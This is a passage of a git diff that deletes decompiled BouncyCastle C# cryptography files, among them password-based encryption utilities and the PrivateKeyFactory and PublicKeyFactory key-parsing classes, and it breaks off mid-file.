if (text != null) - { - return "Pkcs5S1".Equals(algorithmType[text]); - } - return false; - } - - public static bool IsPkcs5Scheme2(string algorithm) - { - string text = (string)algorithms[Platform.ToUpperInvariant(algorithm)]; - if (text != null) - { - return "Pkcs5S2".Equals(algorithmType[text]); - } - return false; - } - - public static bool IsOpenSsl(string algorithm) - { - string text = (string)algorithms[Platform.ToUpperInvariant(algorithm)]; - if (text != null) - { - return "OpenSsl".Equals(algorithmType[text]); - } - return false; - } - - public static bool IsPbeAlgorithm(string algorithm) - { - string text = (string)algorithms[Platform.ToUpperInvariant(algorithm)]; - if (text != null) - { - return algorithmType[text] != null; - } - return false; - } - - public static Asn1Encodable GenerateAlgorithmParameters(DerObjectIdentifier algorithmOid, byte[] salt, int iterationCount) - { - return GenerateAlgorithmParameters(algorithmOid.Id, salt, iterationCount); - } - - public static Asn1Encodable GenerateAlgorithmParameters(string algorithm, byte[] salt, int iterationCount) - { - if (IsPkcs12(algorithm)) - { - return new Pkcs12PbeParams(salt, iterationCount); - } - if (IsPkcs5Scheme2(algorithm)) - { - return new Pbkdf2Params(salt, iterationCount); - } - return new PbeParameter(salt, iterationCount); - } - - public static ICipherParameters GenerateCipherParameters(DerObjectIdentifier algorithmOid, char[] password, Asn1Encodable pbeParameters) - { - return GenerateCipherParameters(algorithmOid.Id, password, wrongPkcs12Zero: false, pbeParameters); - } - - public static ICipherParameters GenerateCipherParameters(DerObjectIdentifier algorithmOid, char[] password, bool wrongPkcs12Zero, Asn1Encodable pbeParameters) - { - return GenerateCipherParameters(algorithmOid.Id, password, wrongPkcs12Zero, pbeParameters); - } - - public static ICipherParameters GenerateCipherParameters(AlgorithmIdentifier algID, char[] password) - { - return GenerateCipherParameters(algID.Algorithm.Id, password, wrongPkcs12Zero: false, algID.Parameters); - } - - public static ICipherParameters GenerateCipherParameters(AlgorithmIdentifier algID, char[] password, bool wrongPkcs12Zero) - { - return GenerateCipherParameters(algID.Algorithm.Id, password, wrongPkcs12Zero, algID.Parameters); - } - - public static ICipherParameters GenerateCipherParameters(string algorithm, char[] password, Asn1Encodable pbeParameters) - { - return GenerateCipherParameters(algorithm, password, wrongPkcs12Zero: false, pbeParameters); - } - - public static ICipherParameters GenerateCipherParameters(string algorithm, char[] password, bool wrongPkcs12Zero, Asn1Encodable pbeParameters) - { - string text = (string)algorithms[Platform.ToUpperInvariant(algorithm)]; - byte[] array = null; - byte[] salt = null; - int iterationCount = 0; - if (IsPkcs12(text)) - { - Pkcs12PbeParams instance = Pkcs12PbeParams.GetInstance(pbeParameters); - salt = instance.GetIV(); - iterationCount = instance.Iterations.IntValue; - array = PbeParametersGenerator.Pkcs12PasswordToBytes(password, wrongPkcs12Zero); - } - else if (!IsPkcs5Scheme2(text)) - { - PbeParameter instance2 = PbeParameter.GetInstance(pbeParameters); - salt = instance2.GetSalt(); - iterationCount = instance2.IterationCount.IntValue; - array = PbeParametersGenerator.Pkcs5PasswordToBytes(password); - } - ICipherParameters parameters = null; - if (IsPkcs5Scheme2(text)) - { - PbeS2Parameters instance3 = PbeS2Parameters.GetInstance(pbeParameters.ToAsn1Object()); - AlgorithmIdentifier encryptionScheme = instance3.EncryptionScheme; - DerObjectIdentifier algorithm2 = encryptionScheme.Algorithm; - Asn1Object obj = encryptionScheme.Parameters.ToAsn1Object(); - Pbkdf2Params instance4 = Pbkdf2Params.GetInstance(instance3.KeyDerivationFunc.Parameters.ToAsn1Object()); - byte[] array2; - if (algorithm2.Equals(PkcsObjectIdentifiers.RC2Cbc)) - { - RC2CbcParameter instance5 = RC2CbcParameter.GetInstance(obj); - array2 = instance5.GetIV(); - } - else - { - array2 = Asn1OctetString.GetInstance(obj).GetOctets(); - } - salt = instance4.GetSalt(); - iterationCount = instance4.IterationCount.IntValue; - array = PbeParametersGenerator.Pkcs5PasswordToBytes(password); - int keySize = ((instance4.KeyLength != null) ? (instance4.KeyLength.IntValue * 8) : GeneratorUtilities.GetDefaultKeySize(algorithm2)); - PbeParametersGenerator pbeParametersGenerator = MakePbeGenerator((string)algorithmType[text], null, array, salt, iterationCount); - parameters = pbeParametersGenerator.GenerateDerivedParameters(algorithm2.Id, keySize); - if (array2 != null && !Arrays.AreEqual(array2, new byte[array2.Length])) - { - parameters = new ParametersWithIV(parameters, array2); - } - } - else if (Platform.StartsWith(text, "PBEwithSHA-1")) - { - PbeParametersGenerator pbeParametersGenerator2 = MakePbeGenerator((string)algorithmType[text], new Sha1Digest(), array, salt, iterationCount); - if (text.Equals("PBEwithSHA-1and128bitAES-CBC-BC")) - { - parameters = pbeParametersGenerator2.GenerateDerivedParameters("AES", 128, 128); - } - else if (text.Equals("PBEwithSHA-1and192bitAES-CBC-BC")) - { - parameters = pbeParametersGenerator2.GenerateDerivedParameters("AES", 192, 128); - } - else if (text.Equals("PBEwithSHA-1and256bitAES-CBC-BC")) - { - parameters = pbeParametersGenerator2.GenerateDerivedParameters("AES", 256, 128); - } - else if (text.Equals("PBEwithSHA-1and128bitRC4")) - { - parameters = pbeParametersGenerator2.GenerateDerivedParameters("RC4", 128); - } - else if (text.Equals("PBEwithSHA-1and40bitRC4")) - { - parameters = pbeParametersGenerator2.GenerateDerivedParameters("RC4", 40); - } - else if (text.Equals("PBEwithSHA-1and3-keyDESEDE-CBC")) - { - parameters = pbeParametersGenerator2.GenerateDerivedParameters("DESEDE", 192, 64); - } - else if (text.Equals("PBEwithSHA-1and2-keyDESEDE-CBC")) - { - parameters = pbeParametersGenerator2.GenerateDerivedParameters("DESEDE", 128, 64); - } - else if (text.Equals("PBEwithSHA-1and128bitRC2-CBC")) - { - parameters = pbeParametersGenerator2.GenerateDerivedParameters("RC2", 128, 64); - } - else if (text.Equals("PBEwithSHA-1and40bitRC2-CBC")) - { - parameters = pbeParametersGenerator2.GenerateDerivedParameters("RC2", 40, 64); - } - else if (text.Equals("PBEwithSHA-1andDES-CBC")) - { - parameters = pbeParametersGenerator2.GenerateDerivedParameters("DES", 64, 64); - } - else if (text.Equals("PBEwithSHA-1andRC2-CBC")) - { - parameters = pbeParametersGenerator2.GenerateDerivedParameters("RC2", 64, 64); - } - } - else if (Platform.StartsWith(text, "PBEwithSHA-256")) - { - PbeParametersGenerator pbeParametersGenerator3 = MakePbeGenerator((string)algorithmType[text], new Sha256Digest(), array, salt, iterationCount); - if (text.Equals("PBEwithSHA-256and128bitAES-CBC-BC")) - { - parameters = pbeParametersGenerator3.GenerateDerivedParameters("AES", 128, 128); - } - else if (text.Equals("PBEwithSHA-256and192bitAES-CBC-BC")) - { - parameters = pbeParametersGenerator3.GenerateDerivedParameters("AES", 192, 128); - } - else if (text.Equals("PBEwithSHA-256and256bitAES-CBC-BC")) - { - parameters = pbeParametersGenerator3.GenerateDerivedParameters("AES", 256, 128); - } - } - else if (Platform.StartsWith(text, "PBEwithMD5")) - { - PbeParametersGenerator pbeParametersGenerator4 = MakePbeGenerator((string)algorithmType[text], new MD5Digest(), array, salt, iterationCount); - if (text.Equals("PBEwithMD5andDES-CBC")) - { - parameters = pbeParametersGenerator4.GenerateDerivedParameters("DES", 64, 64); - } - else if (text.Equals("PBEwithMD5andRC2-CBC")) - { - parameters = pbeParametersGenerator4.GenerateDerivedParameters("RC2", 64, 64); - } - else if (text.Equals("PBEwithMD5and128bitAES-CBC-OpenSSL")) - { - parameters = pbeParametersGenerator4.GenerateDerivedParameters("AES", 128, 128); - } - else if (text.Equals("PBEwithMD5and192bitAES-CBC-OpenSSL")) - { - parameters = pbeParametersGenerator4.GenerateDerivedParameters("AES", 192, 128); - } - else if (text.Equals("PBEwithMD5and256bitAES-CBC-OpenSSL")) - { - parameters = pbeParametersGenerator4.GenerateDerivedParameters("AES", 256, 128); - } - } - else if (Platform.StartsWith(text, "PBEwithMD2")) - { - PbeParametersGenerator pbeParametersGenerator5 = MakePbeGenerator((string)algorithmType[text], new MD2Digest(), array, salt, iterationCount); - if (text.Equals("PBEwithMD2andDES-CBC")) - { - parameters = pbeParametersGenerator5.GenerateDerivedParameters("DES", 64, 64); - } - else if (text.Equals("PBEwithMD2andRC2-CBC")) - { - parameters = pbeParametersGenerator5.GenerateDerivedParameters("RC2", 64, 64); - } - } - else if (Platform.StartsWith(text, "PBEwithHmac")) - { - string algorithm3 = text.Substring("PBEwithHmac".Length); - IDigest digest = DigestUtilities.GetDigest(algorithm3); - PbeParametersGenerator pbeParametersGenerator6 = MakePbeGenerator((string)algorithmType[text], digest, array, salt, iterationCount); - int keySize2 = digest.GetDigestSize() * 8; - parameters = pbeParametersGenerator6.GenerateDerivedMacParameters(keySize2); - } - Array.Clear(array, 0, array.Length); - return FixDesParity(text, parameters); - } - - public static object CreateEngine(DerObjectIdentifier algorithmOid) - { - return CreateEngine(algorithmOid.Id); - } - - public static object CreateEngine(AlgorithmIdentifier algID) - { - string id = algID.Algorithm.Id; - if (IsPkcs5Scheme2(id)) - { - PbeS2Parameters instance = PbeS2Parameters.GetInstance(algID.Parameters.ToAsn1Object()); - AlgorithmIdentifier encryptionScheme = instance.EncryptionScheme; - return CipherUtilities.GetCipher(encryptionScheme.Algorithm); - } - return CreateEngine(id); - } - - public static object CreateEngine(string algorithm) - { - string text = (string)algorithms[Platform.ToUpperInvariant(algorithm)]; - if (Platform.StartsWith(text, "PBEwithHmac")) - { - string text2 = text.Substring("PBEwithHmac".Length); - return MacUtilities.GetMac("HMAC/" + text2); - } - if (Platform.StartsWith(text, "PBEwithMD2") || Platform.StartsWith(text, "PBEwithMD5") || Platform.StartsWith(text, "PBEwithSHA-1") || Platform.StartsWith(text, "PBEwithSHA-256")) - { - if (Platform.EndsWith(text, "AES-CBC-BC") || Platform.EndsWith(text, "AES-CBC-OPENSSL")) - { - return CipherUtilities.GetCipher("AES/CBC"); - } - if (Platform.EndsWith(text, "DES-CBC")) - { - return CipherUtilities.GetCipher("DES/CBC"); - } - if (Platform.EndsWith(text, "DESEDE-CBC")) - { - return CipherUtilities.GetCipher("DESEDE/CBC"); - } - if (Platform.EndsWith(text, "RC2-CBC")) - { - return CipherUtilities.GetCipher("RC2/CBC"); - } - if (Platform.EndsWith(text, "RC4")) - { - return CipherUtilities.GetCipher("RC4"); - } - } - return null; - } - - public static string GetEncodingName(DerObjectIdentifier oid) - { - return (string)algorithms[oid.Id]; - } - - private static ICipherParameters FixDesParity(string mechanism, ICipherParameters parameters) - { - if (!Platform.EndsWith(mechanism, "DES-CBC") && !Platform.EndsWith(mechanism, "DESEDE-CBC")) - { - return parameters; - } - if (parameters is ParametersWithIV) - { - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - return new ParametersWithIV(FixDesParity(mechanism, parametersWithIV.Parameters), parametersWithIV.GetIV()); - } - KeyParameter keyParameter = (KeyParameter)parameters; - byte[] key = keyParameter.GetKey(); - DesParameters.SetOddParity(key); - return new KeyParameter(key); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/PrivateKeyFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/PrivateKeyFactory.cs deleted file mode 100644 index 5676bbc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/PrivateKeyFactory.cs +++ /dev/null @@ -1,228 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.EdEC; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Rosstandart; -using Org.BouncyCastle.Asn1.Sec; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Pkcs; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Security; - -public sealed class PrivateKeyFactory -{ - private PrivateKeyFactory() - { - } - - public static AsymmetricKeyParameter CreateKey(byte[] privateKeyInfoData) - { - return CreateKey(PrivateKeyInfo.GetInstance(Asn1Object.FromByteArray(privateKeyInfoData))); - } - - public static AsymmetricKeyParameter CreateKey(Stream inStr) - { - return CreateKey(PrivateKeyInfo.GetInstance(Asn1Object.FromStream(inStr))); - } - - public static AsymmetricKeyParameter CreateKey(PrivateKeyInfo keyInfo) - { - AlgorithmIdentifier privateKeyAlgorithm = keyInfo.PrivateKeyAlgorithm; - DerObjectIdentifier algorithm = privateKeyAlgorithm.Algorithm; - if (algorithm.Equals(PkcsObjectIdentifiers.RsaEncryption) || algorithm.Equals(X509ObjectIdentifiers.IdEARsa) || algorithm.Equals(PkcsObjectIdentifiers.IdRsassaPss) || algorithm.Equals(PkcsObjectIdentifiers.IdRsaesOaep)) - { - RsaPrivateKeyStructure instance = RsaPrivateKeyStructure.GetInstance(keyInfo.ParsePrivateKey()); - return new RsaPrivateCrtKeyParameters(instance.Modulus, instance.PublicExponent, instance.PrivateExponent, instance.Prime1, instance.Prime2, instance.Exponent1, instance.Exponent2, instance.Coefficient); - } - if (algorithm.Equals(PkcsObjectIdentifiers.DhKeyAgreement)) - { - DHParameter dHParameter = new DHParameter(Asn1Sequence.GetInstance(privateKeyAlgorithm.Parameters.ToAsn1Object())); - DerInteger derInteger = (DerInteger)keyInfo.ParsePrivateKey(); - int l = dHParameter.L?.IntValue ?? 0; - DHParameters parameters = new DHParameters(dHParameter.P, dHParameter.G, null, l); - return new DHPrivateKeyParameters(derInteger.Value, parameters, algorithm); - } - if (algorithm.Equals(OiwObjectIdentifiers.ElGamalAlgorithm)) - { - ElGamalParameter elGamalParameter = new ElGamalParameter(Asn1Sequence.GetInstance(privateKeyAlgorithm.Parameters.ToAsn1Object())); - DerInteger derInteger2 = (DerInteger)keyInfo.ParsePrivateKey(); - return new ElGamalPrivateKeyParameters(derInteger2.Value, new ElGamalParameters(elGamalParameter.P, elGamalParameter.G)); - } - if (algorithm.Equals(X9ObjectIdentifiers.IdDsa)) - { - DerInteger derInteger3 = (DerInteger)keyInfo.ParsePrivateKey(); - Asn1Encodable parameters2 = privateKeyAlgorithm.Parameters; - DsaParameters parameters3 = null; - if (parameters2 != null) - { - DsaParameter instance2 = DsaParameter.GetInstance(parameters2.ToAsn1Object()); - parameters3 = new DsaParameters(instance2.P, instance2.Q, instance2.G); - } - return new DsaPrivateKeyParameters(derInteger3.Value, parameters3); - } - if (algorithm.Equals(X9ObjectIdentifiers.IdECPublicKey)) - { - X962Parameters x962Parameters = new X962Parameters(privateKeyAlgorithm.Parameters.ToAsn1Object()); - X9ECParameters x9ECParameters = ((!x962Parameters.IsNamedCurve) ? new X9ECParameters((Asn1Sequence)x962Parameters.Parameters) : ECKeyPairGenerator.FindECCurveByOid((DerObjectIdentifier)x962Parameters.Parameters)); - ECPrivateKeyStructure instance3 = ECPrivateKeyStructure.GetInstance(keyInfo.ParsePrivateKey()); - BigInteger key = instance3.GetKey(); - if (x962Parameters.IsNamedCurve) - { - return new ECPrivateKeyParameters("EC", key, (DerObjectIdentifier)x962Parameters.Parameters); - } - ECDomainParameters parameters4 = new ECDomainParameters(x9ECParameters.Curve, x9ECParameters.G, x9ECParameters.N, x9ECParameters.H, x9ECParameters.GetSeed()); - return new ECPrivateKeyParameters(key, parameters4); - } - if (algorithm.Equals(CryptoProObjectIdentifiers.GostR3410x2001)) - { - Gost3410PublicKeyAlgParameters gost3410PublicKeyAlgParameters = new Gost3410PublicKeyAlgParameters(Asn1Sequence.GetInstance(privateKeyAlgorithm.Parameters.ToAsn1Object())); - ECDomainParameters byOid = ECGost3410NamedCurves.GetByOid(gost3410PublicKeyAlgParameters.PublicKeyParamSet); - if (byOid == null) - { - throw new ArgumentException("Unrecognized curve OID for GostR3410x2001 private key"); - } - Asn1Object asn1Object = keyInfo.ParsePrivateKey(); - ECPrivateKeyStructure eCPrivateKeyStructure = ((!(asn1Object is DerInteger)) ? ECPrivateKeyStructure.GetInstance(asn1Object) : new ECPrivateKeyStructure(byOid.N.BitLength, ((DerInteger)asn1Object).PositiveValue)); - return new ECPrivateKeyParameters("ECGOST3410", eCPrivateKeyStructure.GetKey(), gost3410PublicKeyAlgParameters.PublicKeyParamSet); - } - if (algorithm.Equals(CryptoProObjectIdentifiers.GostR3410x94)) - { - Gost3410PublicKeyAlgParameters instance4 = Gost3410PublicKeyAlgParameters.GetInstance(privateKeyAlgorithm.Parameters); - Asn1Object asn1Object2 = keyInfo.ParsePrivateKey(); - BigInteger x = ((!(asn1Object2 is DerInteger)) ? new BigInteger(1, Arrays.Reverse(Asn1OctetString.GetInstance(asn1Object2).GetOctets())) : DerInteger.GetInstance(asn1Object2).PositiveValue); - return new Gost3410PrivateKeyParameters(x, instance4.PublicKeyParamSet); - } - if (algorithm.Equals(EdECObjectIdentifiers.id_X25519)) - { - return new X25519PrivateKeyParameters(GetRawKey(keyInfo, X25519PrivateKeyParameters.KeySize), 0); - } - if (algorithm.Equals(EdECObjectIdentifiers.id_X448)) - { - return new X448PrivateKeyParameters(GetRawKey(keyInfo, X448PrivateKeyParameters.KeySize), 0); - } - if (algorithm.Equals(EdECObjectIdentifiers.id_Ed25519)) - { - return new Ed25519PrivateKeyParameters(GetRawKey(keyInfo, Ed25519PrivateKeyParameters.KeySize), 0); - } - if (algorithm.Equals(EdECObjectIdentifiers.id_Ed448)) - { - return new Ed448PrivateKeyParameters(GetRawKey(keyInfo, Ed448PrivateKeyParameters.KeySize), 0); - } - if (algorithm.Equals(RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512) || algorithm.Equals(RosstandartObjectIdentifiers.id_tc26_gost_3410_12_256)) - { - Gost3410PublicKeyAlgParameters instance5 = Gost3410PublicKeyAlgParameters.GetInstance(keyInfo.PrivateKeyAlgorithm.Parameters); - ECGost3410Parameters eCGost3410Parameters = null; - BigInteger bigInteger = null; - Asn1Object asn1Object3 = keyInfo.PrivateKeyAlgorithm.Parameters.ToAsn1Object(); - if (asn1Object3 is Asn1Sequence && (Asn1Sequence.GetInstance(asn1Object3).Count == 2 || Asn1Sequence.GetInstance(asn1Object3).Count == 3)) - { - ECDomainParameters byOid2 = ECGost3410NamedCurves.GetByOid(instance5.PublicKeyParamSet); - eCGost3410Parameters = new ECGost3410Parameters(new ECNamedDomainParameters(instance5.PublicKeyParamSet, byOid2), instance5.PublicKeyParamSet, instance5.DigestParamSet, instance5.EncryptionParamSet); - Asn1Encodable asn1Encodable = keyInfo.ParsePrivateKey(); - if (asn1Encodable is DerInteger) - { - bigInteger = DerInteger.GetInstance(asn1Encodable).PositiveValue; - } - else - { - byte[] octets = Asn1OctetString.GetInstance(asn1Encodable).GetOctets(); - byte[] array = new byte[octets.Length]; - for (int i = 0; i != octets.Length; i++) - { - array[i] = octets[octets.Length - 1 - i]; - } - bigInteger = new BigInteger(1, array); - } - } - else - { - X962Parameters instance6 = X962Parameters.GetInstance(keyInfo.PrivateKeyAlgorithm.Parameters); - if (instance6.IsNamedCurve) - { - DerObjectIdentifier instance7 = DerObjectIdentifier.GetInstance(instance6.Parameters); - X9ECParameters byOid3 = ECNamedCurveTable.GetByOid(instance7); - if (byOid3 == null) - { - ECDomainParameters byOid4 = ECGost3410NamedCurves.GetByOid(instance7); - eCGost3410Parameters = new ECGost3410Parameters(new ECNamedDomainParameters(instance7, byOid4.Curve, byOid4.G, byOid4.N, byOid4.H, byOid4.GetSeed()), instance5.PublicKeyParamSet, instance5.DigestParamSet, instance5.EncryptionParamSet); - } - else - { - eCGost3410Parameters = new ECGost3410Parameters(new ECNamedDomainParameters(instance7, byOid3.Curve, byOid3.G, byOid3.N, byOid3.H, byOid3.GetSeed()), instance5.PublicKeyParamSet, instance5.DigestParamSet, instance5.EncryptionParamSet); - } - } - else if (instance6.IsImplicitlyCA) - { - eCGost3410Parameters = null; - } - else - { - X9ECParameters instance8 = X9ECParameters.GetInstance(instance6.Parameters); - eCGost3410Parameters = new ECGost3410Parameters(new ECNamedDomainParameters(algorithm, instance8.Curve, instance8.G, instance8.N, instance8.H, instance8.GetSeed()), instance5.PublicKeyParamSet, instance5.DigestParamSet, instance5.EncryptionParamSet); - } - Asn1Encodable asn1Encodable2 = keyInfo.ParsePrivateKey(); - if (asn1Encodable2 is DerInteger) - { - DerInteger instance9 = DerInteger.GetInstance(asn1Encodable2); - bigInteger = instance9.Value; - } - else - { - ECPrivateKeyStructure instance10 = ECPrivateKeyStructure.GetInstance(asn1Encodable2); - bigInteger = instance10.GetKey(); - } - } - return new ECPrivateKeyParameters(bigInteger, new ECGost3410Parameters(eCGost3410Parameters, instance5.PublicKeyParamSet, instance5.DigestParamSet, instance5.EncryptionParamSet)); - } - throw new SecurityUtilityException("algorithm identifier in private key not recognised"); - } - - private static byte[] GetRawKey(PrivateKeyInfo keyInfo, int expectedSize) - { - byte[] octets = Asn1OctetString.GetInstance(keyInfo.ParsePrivateKey()).GetOctets(); - if (expectedSize != octets.Length) - { - throw new SecurityUtilityException("private key encoding has incorrect length"); - } - return octets; - } - - public static AsymmetricKeyParameter DecryptKey(char[] passPhrase, EncryptedPrivateKeyInfo encInfo) - { - return CreateKey(PrivateKeyInfoFactory.CreatePrivateKeyInfo(passPhrase, encInfo)); - } - - public static AsymmetricKeyParameter DecryptKey(char[] passPhrase, byte[] encryptedPrivateKeyInfoData) - { - return DecryptKey(passPhrase, Asn1Object.FromByteArray(encryptedPrivateKeyInfoData)); - } - - public static AsymmetricKeyParameter DecryptKey(char[] passPhrase, Stream encryptedPrivateKeyInfoStream) - { - return DecryptKey(passPhrase, Asn1Object.FromStream(encryptedPrivateKeyInfoStream)); - } - - private static AsymmetricKeyParameter DecryptKey(char[] passPhrase, Asn1Object asn1Object) - { - return DecryptKey(passPhrase, EncryptedPrivateKeyInfo.GetInstance(asn1Object)); - } - - public static byte[] EncryptKey(DerObjectIdentifier algorithm, char[] passPhrase, byte[] salt, int iterationCount, AsymmetricKeyParameter key) - { - return EncryptedPrivateKeyInfoFactory.CreateEncryptedPrivateKeyInfo(algorithm, passPhrase, salt, iterationCount, key).GetEncoded(); - } - - public static byte[] EncryptKey(string algorithm, char[] passPhrase, byte[] salt, int iterationCount, AsymmetricKeyParameter key) - { - return EncryptedPrivateKeyInfoFactory.CreateEncryptedPrivateKeyInfo(algorithm, passPhrase, salt, iterationCount, key).GetEncoded(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/PublicKeyFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/PublicKeyFactory.cs deleted file mode 100644 index 9072fc5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/PublicKeyFactory.cs +++ /dev/null @@ -1,233 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.EdEC; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Rosstandart; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; - -namespace Org.BouncyCastle.Security; - -public sealed class PublicKeyFactory -{ - private PublicKeyFactory() - { - } - - public static AsymmetricKeyParameter CreateKey(byte[] keyInfoData) - { - return CreateKey(SubjectPublicKeyInfo.GetInstance(Asn1Object.FromByteArray(keyInfoData))); - } - - public static AsymmetricKeyParameter CreateKey(Stream inStr) - { - return CreateKey(SubjectPublicKeyInfo.GetInstance(Asn1Object.FromStream(inStr))); - } - - public static AsymmetricKeyParameter CreateKey(SubjectPublicKeyInfo keyInfo) - { - AlgorithmIdentifier algorithmID = keyInfo.AlgorithmID; - DerObjectIdentifier algorithm = algorithmID.Algorithm; - if (algorithm.Equals(PkcsObjectIdentifiers.RsaEncryption) || algorithm.Equals(X509ObjectIdentifiers.IdEARsa) || algorithm.Equals(PkcsObjectIdentifiers.IdRsassaPss) || algorithm.Equals(PkcsObjectIdentifiers.IdRsaesOaep)) - { - RsaPublicKeyStructure instance = RsaPublicKeyStructure.GetInstance(keyInfo.GetPublicKey()); - return new RsaKeyParameters(isPrivate: false, instance.Modulus, instance.PublicExponent); - } - if (algorithm.Equals(X9ObjectIdentifiers.DHPublicNumber)) - { - Asn1Sequence instance2 = Asn1Sequence.GetInstance(algorithmID.Parameters.ToAsn1Object()); - DHPublicKey instance3 = DHPublicKey.GetInstance(keyInfo.GetPublicKey()); - BigInteger value = instance3.Y.Value; - if (IsPkcsDHParam(instance2)) - { - return ReadPkcsDHParam(algorithm, value, instance2); - } - DHDomainParameters instance4 = DHDomainParameters.GetInstance(instance2); - BigInteger value2 = instance4.P.Value; - BigInteger value3 = instance4.G.Value; - BigInteger value4 = instance4.Q.Value; - BigInteger j = null; - if (instance4.J != null) - { - j = instance4.J.Value; - } - DHValidationParameters validation = null; - DHValidationParms validationParms = instance4.ValidationParms; - if (validationParms != null) - { - byte[] bytes = validationParms.Seed.GetBytes(); - BigInteger value5 = validationParms.PgenCounter.Value; - validation = new DHValidationParameters(bytes, value5.IntValue); - } - return new DHPublicKeyParameters(value, new DHParameters(value2, value3, value4, j, validation)); - } - if (algorithm.Equals(PkcsObjectIdentifiers.DhKeyAgreement)) - { - Asn1Sequence instance5 = Asn1Sequence.GetInstance(algorithmID.Parameters.ToAsn1Object()); - DerInteger derInteger = (DerInteger)keyInfo.GetPublicKey(); - return ReadPkcsDHParam(algorithm, derInteger.Value, instance5); - } - if (algorithm.Equals(OiwObjectIdentifiers.ElGamalAlgorithm)) - { - ElGamalParameter elGamalParameter = new ElGamalParameter(Asn1Sequence.GetInstance(algorithmID.Parameters.ToAsn1Object())); - DerInteger derInteger2 = (DerInteger)keyInfo.GetPublicKey(); - return new ElGamalPublicKeyParameters(derInteger2.Value, new ElGamalParameters(elGamalParameter.P, elGamalParameter.G)); - } - if (algorithm.Equals(X9ObjectIdentifiers.IdDsa) || algorithm.Equals(OiwObjectIdentifiers.DsaWithSha1)) - { - DerInteger derInteger3 = (DerInteger)keyInfo.GetPublicKey(); - Asn1Encodable parameters = algorithmID.Parameters; - DsaParameters parameters2 = null; - if (parameters != null) - { - DsaParameter instance6 = DsaParameter.GetInstance(parameters.ToAsn1Object()); - parameters2 = new DsaParameters(instance6.P, instance6.Q, instance6.G); - } - return new DsaPublicKeyParameters(derInteger3.Value, parameters2); - } - if (algorithm.Equals(X9ObjectIdentifiers.IdECPublicKey)) - { - X962Parameters x962Parameters = new X962Parameters(algorithmID.Parameters.ToAsn1Object()); - X9ECParameters x9ECParameters = ((!x962Parameters.IsNamedCurve) ? new X9ECParameters((Asn1Sequence)x962Parameters.Parameters) : ECKeyPairGenerator.FindECCurveByOid((DerObjectIdentifier)x962Parameters.Parameters)); - Asn1OctetString s = new DerOctetString(keyInfo.PublicKeyData.GetBytes()); - X9ECPoint x9ECPoint = new X9ECPoint(x9ECParameters.Curve, s); - ECPoint point = x9ECPoint.Point; - if (x962Parameters.IsNamedCurve) - { - return new ECPublicKeyParameters("EC", point, (DerObjectIdentifier)x962Parameters.Parameters); - } - ECDomainParameters parameters3 = new ECDomainParameters(x9ECParameters.Curve, x9ECParameters.G, x9ECParameters.N, x9ECParameters.H, x9ECParameters.GetSeed()); - return new ECPublicKeyParameters(point, parameters3); - } - if (algorithm.Equals(CryptoProObjectIdentifiers.GostR3410x2001)) - { - Gost3410PublicKeyAlgParameters gost3410PublicKeyAlgParameters = new Gost3410PublicKeyAlgParameters((Asn1Sequence)algorithmID.Parameters); - Asn1OctetString asn1OctetString; - try - { - asn1OctetString = (Asn1OctetString)keyInfo.GetPublicKey(); - } - catch (IOException) - { - throw new ArgumentException("invalid info structure in GOST3410 public key"); - } - byte[] octets = asn1OctetString.GetOctets(); - byte[] array = new byte[32]; - byte[] array2 = new byte[32]; - for (int i = 0; i != array2.Length; i++) - { - array[i] = octets[31 - i]; - } - for (int k = 0; k != array.Length; k++) - { - array2[k] = octets[63 - k]; - } - ECDomainParameters byOid = ECGost3410NamedCurves.GetByOid(gost3410PublicKeyAlgParameters.PublicKeyParamSet); - if (byOid == null) - { - return null; - } - ECPoint q = byOid.Curve.CreatePoint(new BigInteger(1, array), new BigInteger(1, array2)); - return new ECPublicKeyParameters("ECGOST3410", q, gost3410PublicKeyAlgParameters.PublicKeyParamSet); - } - if (algorithm.Equals(CryptoProObjectIdentifiers.GostR3410x94)) - { - Gost3410PublicKeyAlgParameters gost3410PublicKeyAlgParameters2 = new Gost3410PublicKeyAlgParameters((Asn1Sequence)algorithmID.Parameters); - DerOctetString derOctetString; - try - { - derOctetString = (DerOctetString)keyInfo.GetPublicKey(); - } - catch (IOException) - { - throw new ArgumentException("invalid info structure in GOST3410 public key"); - } - byte[] octets2 = derOctetString.GetOctets(); - byte[] array3 = new byte[octets2.Length]; - for (int l = 0; l != octets2.Length; l++) - { - array3[l] = octets2[octets2.Length - 1 - l]; - } - BigInteger y = new BigInteger(1, array3); - return new Gost3410PublicKeyParameters(y, gost3410PublicKeyAlgParameters2.PublicKeyParamSet); - } - if (algorithm.Equals(EdECObjectIdentifiers.id_X25519)) - { - return new X25519PublicKeyParameters(GetRawKey(keyInfo, X25519PublicKeyParameters.KeySize), 0); - } - if (algorithm.Equals(EdECObjectIdentifiers.id_X448)) - { - return new X448PublicKeyParameters(GetRawKey(keyInfo, X448PublicKeyParameters.KeySize), 0); - } - if (algorithm.Equals(EdECObjectIdentifiers.id_Ed25519)) - { - return new 